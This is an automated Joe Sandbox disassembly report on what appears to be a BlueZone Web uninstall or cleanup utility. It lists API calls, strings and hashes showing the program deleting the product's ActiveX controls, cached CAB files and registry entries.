Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Find$AttributesDeleteNext$CloseFirst$MessagePostWindow
String ID: *.*$BlueZone Session Manager$BlueZone\$BlueZone\*.ini$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$Software\Microsoft\Internet Explorer\Plugins\Extension\.bwh$Software\Microsoft\Internet Explorer\Plugins\Extension\.e3d$Software\Microsoft\Internet Explorer\Plugins\Extension\.e3p$Software\Microsoft\Internet Explorer\Plugins\Extension\.e5d$Software\Microsoft\Internet Explorer\Plugins\Extension\.e5p$Software\Microsoft\Internet Explorer\Plugins\Extension\.eft$Software\Microsoft\Internet Explorer\Plugins\Extension\.evt$Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE$Software\Microsoft\Windows\CurrentVersion\App Paths\NETSCAPE.EXE$Software\Microsoft\Windows\CurrentVersion\App Paths\NETSCP6.EXE$\NPBWH.DLL$\NPEZ3D.DLL$\NPEZ3P.DLL$\NPEZ5D.DLL$\NPEZ5P.DLL$\NPEZFTP.DLL$\NPEZVT.DLL$\NPSWH*.DLL$\Plugins$ez3270\$ez5250\$ezFTP\$ezVT\
API String ID: 336884760-1568205771
Opcode ID: 7da0a88759a60a04bed37e25d18cd55d87deee402b2bc337191c683b95cdaea8
Instruction ID: 55fed5b08b0c34600e171dd9ce8e2c151b47409cc5b747cd44224c9097e4638b
Opcode Fuzzy Hash: 7da0a88759a60a04bed37e25d18cd55d87deee402b2bc337191c683b95cdaea8
Instruction Fuzzy Hash: B152AD7478434CFAF23097A18C46FAFFA589F84B84F20451BFB54659E4CAB894C48B5E

Function 004018F0 Relevance: 21.1, APIs: 14, Instructions: 107
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(?,?), ref: 00401925
lstrlenA.KERNEL32(?), ref: 0040192F
FindFirstFileA.KERNELBASE(?,?), ref: 00401960
lstrcpyA.KERNEL32(?,?), ref: 00401996
lstrcatA.KERNEL32(?,?), ref: 004019A5
SetFileAttributesA.KERNEL32(?,00000080), ref: 004019B8
DeleteFileA.KERNEL32(?), ref: 004019C6
FindNextFileA.KERNEL32(00000000,?), ref: 004019D8
lstrcpyA.KERNEL32(?,?), ref: 004019F7
lstrcatA.KERNEL32(?,?), ref: 00401A0A
SetFileAttributesA.KERNEL32(?,00000080), ref: 00401A1D
DeleteFileA.KERNEL32(?), ref: 00401A2B
FindNextFileA.KERNEL32(00000000,00000014), ref: 00401A37
FindClose.KERNEL32(00000000), ref: 00401A3E

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: File$Find$lstrcpy$AttributesDeleteNextlstrcat$CloseFirstlstrlen
String ID:
API String ID: 3463877379-0
Opcode ID: 20ff21d2d630fc0f3f9172261d65e2b5e6470411c6cf8813e7e9ca31ca4008f2
Instruction ID: 90e6caefe59c7d4962cd4293c8f55a8113003170b98cb015480e26c23e68a755
Opcode Fuzzy Hash: 20ff21d2d630fc0f3f9172261d65e2b5e6470411c6cf8813e7e9ca31ca4008f2
Instruction Fuzzy Hash: 634191B2505385DBC321DBE4DD88FFB77E8ABC9305F044A2DE585961A0D778A508CB2A

Function 00405260 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(shell32.dll), ref: 004052D5
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 004052EB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000), ref: 00405323
CoTaskMemFree.OLE32(?), ref: 0040532E
FreeLibrary.KERNEL32(00000000), ref: 00405335
lstrcpyA.KERNEL32(?,?), ref: 00405345

Strings

shell32.dll, xrefs: 004052D0
SHGetKnownFolderPath, xrefs: 004052E5

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: FreeLibrary$AddressByteCharLoadMultiProcTaskWidelstrcpy
String ID: SHGetKnownFolderPath$shell32.dll
API String ID: 3437412077-2936008475
Opcode ID: 9df4b1fffa31dd63a53520cf937751195cc0930a21f18a18c3fa7ffd462966a4
Instruction ID: ecf028e600e4a2f6566c5190c1cb49ac6605996d8d456a9a9549b1648dd0451e
Opcode Fuzzy Hash: 9df4b1fffa31dd63a53520cf937751195cc0930a21f18a18c3fa7ffd462966a4
Instruction Fuzzy Hash: EF21D635204740ABD330DB64DC4ABEB73E4EB84710F94453EFA98A62C0D6B89444CF9A

Function 004051F0 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00411790), ref: 004051FF

Part of subcall function 00405380: LoadLibraryA.KERNELBASE(ieframe.dll,?,?,00405219,00000001,00000006), ref: 0040539D
Part of subcall function 00405380: GetProcAddress.KERNEL32(00000000,IEGetWriteableHKCU), ref: 004053AF
Part of subcall function 00405380: IEGetWriteableHKCU.IEFRAME(?,?,?,00405219,00000001,00000006), ref: 004053BE
Part of subcall function 00405380: FreeLibrary.KERNELBASE(00000000,?,?,00405219,00000001,00000006), ref: 004053C1

Part of subcall function 00401230: RegOpenKeyExA.KERNELBASE(80000001,Software\SEAGULL\BlueZone Web,00000000), ref: 0040127A
Part of subcall function 00401230: RegOpenKeyExA.KERNELBASE(80000001,Software\SEAGULL\BlueZone,00000000), ref: 004012A3
Part of subcall function 00401230: RegQueryValueExA.ADVAPI32(?,BaseRegistry,00000000,?,00411824,?), ref: 004012D4
Part of subcall function 00401230: RegCloseKey.ADVAPI32(?), ref: 004012E4
Part of subcall function 00401230: RegOpenKeyExA.KERNELBASE(80000002,Software\SEAGULL\BlueZone,00000000,00020019,?), ref: 0040131A
Part of subcall function 00401230: RegQueryValueExA.ADVAPI32(?,BaseRegistry,00000000,?,00411824,?), ref: 0040134B
Part of subcall function 00401230: RegCloseKey.ADVAPI32(?), ref: 00401352

DialogBoxParamA.USER32(?,000003E9,00000000,Function_00005100,00000000), ref: 0040523B

Part of subcall function 004053D0: RegCloseKey.KERNELBASE(00000234,0040524D,00000234), ref: 004053DC

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: CloseOpen$LibraryQueryValue$AddressDialogFreeLoadParamProcVersionWriteable
String ID:
API String ID: 1940099335-0
Opcode ID: 2237dfc3c7b4328b3d39d9796c4294df399335e12846ec29866164137d24708a
Instruction ID: 16e34de797c47b64f9be037b223b39da3227cb742bc131b733c059e527dd5f28
Opcode Fuzzy Hash: 2237dfc3c7b4328b3d39d9796c4294df399335e12846ec29866164137d24708a
Instruction Fuzzy Hash: 02F065746803449BE200AB60ED4AF973794E704B08F504539FB01BA3F2C6F96404CB6D

Function 00403F30 Relevance: 156.0, APIs: 64, Strings: 25, Instructions: 282
stringfileregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings,00000000,00020019,?), ref: 00403F4C
RegQueryValueExA.KERNELBASE ref: 00403F91
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00403FA9
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00403FB0
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,0040C1F0), ref: 00403FC9
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00403FD6
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZMD*.CAB), ref: 00403FE2
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00403FFD
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZMP*.CAB), ref: 00404009
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404024
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZAD*.CAB), ref: 00404030
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 0040404B
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZAP*.CAB), ref: 00404057
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404072
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZVT*.CAB), ref: 0040407E
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404099
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZFTP*.CAB), ref: 004040A5
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004040C0
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BZSC*.CAB), ref: 004040CC
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004040E7
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZMD*.CAB), ref: 004040F3
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 0040410E
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZMP*.CAB), ref: 0040411A
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404135
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZAD*.CAB), ref: 00404141
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 0040415C
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404183
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZVT*.CAB), ref: 0040418F
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004041AA
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZFTP*.CAB), ref: 004041B6
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004041D1
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZ3D.OCX), ref: 004041DD
SetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 004041EF
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004041FC
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404208
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZ5D.OCX), ref: 00404214
SetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 00404220
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404227
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404233
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZ3P.OCX), ref: 0040423F
SetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 0040424B
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404252
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 0040425E
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZ5P.OCX), ref: 0040426A
SetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 00404276
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040427D
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404289
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,SEAGLW2H.OCX), ref: 00404295
SetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 004042A1
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004042A8
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004042B4
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,SGLW2HCM.OCX), ref: 004042C0
SetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 004042CC
DeleteFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004042D3
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,EZAP*.CAB), ref: 00404168

Part of subcall function 004018F0: lstrcpyA.KERNEL32(?,?), ref: 00401925
Part of subcall function 004018F0: lstrlenA.KERNEL32(?), ref: 0040192F
Part of subcall function 004018F0: FindFirstFileA.KERNELBASE(?,?), ref: 00401960
Part of subcall function 004018F0: lstrcpyA.KERNEL32(?,?), ref: 00401996
Part of subcall function 004018F0: lstrcatA.KERNEL32(?,?), ref: 004019A5
Part of subcall function 004018F0: SetFileAttributesA.KERNEL32(?,00000080), ref: 004019B8
Part of subcall function 004018F0: DeleteFileA.KERNEL32(?), ref: 004019C6
Part of subcall function 004018F0: FindNextFileA.KERNEL32(00000000,?), ref: 004019D8
Part of subcall function 004018F0: lstrcpyA.KERNEL32(?,?), ref: 004019F7
Part of subcall function 004018F0: lstrcatA.KERNEL32(?,?), ref: 00401A0A
Part of subcall function 004018F0: SetFileAttributesA.KERNEL32(?,00000080), ref: 00401A1D
Part of subcall function 004018F0: DeleteFileA.KERNEL32(?), ref: 00401A2B
Part of subcall function 004018F0: FindNextFileA.KERNEL32(00000000,00000014), ref: 00401A37
Part of subcall function 004018F0: FindClose.KERNEL32(00000000), ref: 00401A3E

RegCloseKey.KERNELBASE(?), ref: 004042DB
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004042FB
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00404310
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,Seagull Software\BlueZone Web), ref: 0040431C
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00404328
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 0040432F
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,0040C1F0), ref: 00404344
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00404350
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,*.*), ref: 0040435C

Strings

BZVT*.CAB, xrefs: 00404074
*.*, xrefs: 00404352
BZAD*.CAB, xrefs: 00404026
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 00403F6F, 00403F9F, 00403FD1, 00403FDD, 00403FE6, 00403FF8, 00404004, 0040400D, 0040401F, 0040402B, 00404034, 00404046, 00404052, 0040405B, 0040406D, 00404079, 00404082, 00404094, 004040A0, 004040A9, 004040BB, 004040C7, 004040D0, 004040E2, 004040EE, 004040F7, 00404109, 00404115, 0040411E, 00404130, 0040413C, 00404145, 00404157, 00404163, 0040416C, 0040417E, 0040418A, 00404193, 004041A5, 004041B1, 004041BA, 004041CC, 004041D8, 004041EA, 004041F7, 00404203, 0040420F, 0040421B, 00404222, 0040422E, 0040423A, 00404246, 0040424D, 00404259, 00404265, 00404271, 00404278, 00404284, 00404290, 0040429C, 004042A3, 004042AF, 004042BB, 004042C7, 004042CE, 004042E1, 004042F6, 0040430B, 00404317, 0040431E, 0040434B, 00404357, 00404360
SGLW2HCM.OCX, xrefs: 004042B6
SEAGLW2H.OCX, xrefs: 0040428B
EZAD*.CAB, xrefs: 00404137
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\, xrefs: 00403FA4, 00403FAB, 00403FC4, 00403FCC, 00403FF3, 0040401A, 00404041, 00404068, 0040408F, 004040B6, 004040DD, 00404104, 0040412B, 00404152, 00404179, 004041A0, 004041C7, 004041FE, 00404229, 00404254, 0040427F, 004042AA, 00404323, 0040432A, 0040433F, 00404346
ActiveXCache, xrefs: 00403F7B
EZ3D.OCX, xrefs: 004041D3
EZ3P.OCX, xrefs: 00404235
BZMP*.CAB, xrefs: 00403FFF
EZMP*.CAB, xrefs: 00404110
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00403F42
EZAP*.CAB, xrefs: 0040415E
EZVT*.CAB, xrefs: 00404185
BZAP*.CAB, xrefs: 0040404D
Seagull Software\BlueZone Web, xrefs: 00404312
EZMD*.CAB, xrefs: 004040E9
BZFTP*.CAB, xrefs: 0040409B
EZ5D.OCX, xrefs: 0040420A
EZFTP*.CAB, xrefs: 004041AC
BZSC*.CAB, xrefs: 004040C2
BZMD*.CAB, xrefs: 00403FD8
EZ5P.OCX, xrefs: 00404260

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrcat$lstrcpy$File$AttributesDelete$Findlstrlen$CloseNext$FirstOpenQueryValue
String ID: *.*$ActiveXCache$BZAD*.CAB$BZAP*.CAB$BZFTP*.CAB$BZMD*.CAB$BZMP*.CAB$BZSC*.CAB$BZVT*.CAB$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$EZ3D.OCX$EZ3P.OCX$EZ5D.OCX$EZ5P.OCX$EZAD*.CAB$EZAP*.CAB$EZFTP*.CAB$EZMD*.CAB$EZMP*.CAB$EZVT*.CAB$SEAGLW2H.OCX$SGLW2HCM.OCX$Seagull Software\BlueZone Web$Software\Microsoft\Windows\CurrentVersion\Internet Settings
API String ID: 2265475622-1793152038
Opcode ID: 0273eea249b18e4b958e76f1a6856a9e888d329cea95c71854c9f46c92578402
Instruction ID: 21de82d8dce90af51e5f7b4e56fcbda6eed64908aa14defb196c2f1c2aa8396f
Opcode Fuzzy Hash: 0273eea249b18e4b958e76f1a6856a9e888d329cea95c71854c9f46c92578402
Instruction Fuzzy Hash: 1D717F397C030CB5E13063A25C87FAE99098B94FD5F214227FB6434CEA98FD65C4896E

Function 00401360 Relevance: 66.8, APIs: 16, Strings: 22, Instructions: 329
registryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000000,?,00000000,00020019,?), ref: 00401720
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,00000000,00000000,?,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,?), ref: 00401752
RegCloseKey.ADVAPI32(?), ref: 0040175F
CreateFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,40000000,00000000,00000000,00000003,00000080,00000000), ref: 00401781
CloseHandle.KERNEL32(00000000), ref: 0040178D
LoadLibraryA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00401798
GetProcAddress.KERNEL32(00000000,DllUnregisterServer), ref: 004017AE
FreeLibrary.KERNEL32(00000000), ref: 004017C0
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 004017D3
GetLastError.KERNEL32 ref: 004017EA
wsprintfA.USER32 ref: 00401804
MessageBoxA.USER32(00000000,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,Share Violation,00010010), ref: 0040181E
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 0040188D
SHDeleteKeyA.SHLWAPI(80000002,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040189D
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,00000080), ref: 004018AD
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004018B8

Strings

Software\Microsoft\Code Store Database\Distribution Units\, xrefs: 00401415
{A81B6F35-EDDA-11D3-85B6-006097109C81}, xrefs: 00401443
CLSID\{A81B6F25-EDDA-11D3-85B6-006097109C81}\InprocServer32, xrefs: 0040137D
{027C4E65-0740-11D5-85B6-006097109C81}, xrefs: 0040152D
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 004017CE, 004017FF, 00401817, 00401888, 00401893
DllUnregisterServer, xrefs: 004017A8
CLSID\{714048C4-E61F-11D4-85B6-006097109C81}\InprocServer32, xrefs: 004013DC
CLSID\{037790A6-1576-11D6-903D-00105AABADD3}\InprocServer32, xrefs: 00401402
CLSID\{A81B6F3D-EDDA-11D3-85B6-006097109C81}\InprocServer32, xrefs: 004013B6
CLSID\{A81B6F2D-EDDA-11D3-85B6-006097109C81}\InprocServer32, xrefs: 004013A3
Share Violation, xrefs: 00401812
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\, xrefs: 00401735, 0040177C, 00401793, 004017F5, 004018A8, 004018B3
{5274A4E6-90C9-11D5-903D-00105AABADD3}, xrefs: 00401556
CLSID\{027C4E65-0740-11D5-85B6-006097109C81}\InprocServer32, xrefs: 004013C9
CLSID\{5274A4E6-90C9-11D5-903D-00105AABADD3}\InprocServer32, xrefs: 004013EF
CLSID\{A81B6F35-EDDA-11D3-85B6-006097109C81}\InprocServer32, xrefs: 00401390
{A81B6F2D-EDDA-11D3-85B6-006097109C81}, xrefs: 00401501
{A81B6F25-EDDA-11D3-85B6-006097109C81}, xrefs: 0040142B
The ActiveX control file %s is currently in use by your web browser. Please close the web browser application then retry the operation., xrefs: 004017FA
{A81B6F3D-EDDA-11D3-85B6-006097109C81}, xrefs: 00401517
{714048C4-E61F-11D4-85B6-006097109C81}, xrefs: 00401540
{037790A6-1576-11D6-903D-00105AABADD3}, xrefs: 0040156F

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: File$CloseDeleteLibrary$AddressAttributesCreateErrorFreeHandleLastLoadMessageOpenProcQueryValuelstrcatlstrcpywsprintf
String ID: C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$CLSID\{027C4E65-0740-11D5-85B6-006097109C81}\InprocServer32$CLSID\{037790A6-1576-11D6-903D-00105AABADD3}\InprocServer32$CLSID\{5274A4E6-90C9-11D5-903D-00105AABADD3}\InprocServer32$CLSID\{714048C4-E61F-11D4-85B6-006097109C81}\InprocServer32$CLSID\{A81B6F25-EDDA-11D3-85B6-006097109C81}\InprocServer32$CLSID\{A81B6F2D-EDDA-11D3-85B6-006097109C81}\InprocServer32$CLSID\{A81B6F35-EDDA-11D3-85B6-006097109C81}\InprocServer32$CLSID\{A81B6F3D-EDDA-11D3-85B6-006097109C81}\InprocServer32$DllUnregisterServer$Share Violation$Software\Microsoft\Code Store Database\Distribution Units\$The ActiveX control file %s is currently in use by your web browser. Please close the web browser application then retry the operation.${027C4E65-0740-11D5-85B6-006097109C81}${037790A6-1576-11D6-903D-00105AABADD3}${5274A4E6-90C9-11D5-903D-00105AABADD3}${714048C4-E61F-11D4-85B6-006097109C81}${A81B6F25-EDDA-11D3-85B6-006097109C81}${A81B6F2D-EDDA-11D3-85B6-006097109C81}${A81B6F35-EDDA-11D3-85B6-006097109C81}${A81B6F3D-EDDA-11D3-85B6-006097109C81}
API String ID: 775884515-3242084449
Opcode ID: 2ef53a0fe9d16f4fc2a3e6ba89d280ad6b58882a0bfd9b906de13c692b012402
Instruction ID: 582b48d92347fd401dc28371c050c729eaa803ea3dbb159a0364f03c268b6bfa
Opcode Fuzzy Hash: 2ef53a0fe9d16f4fc2a3e6ba89d280ad6b58882a0bfd9b906de13c692b012402
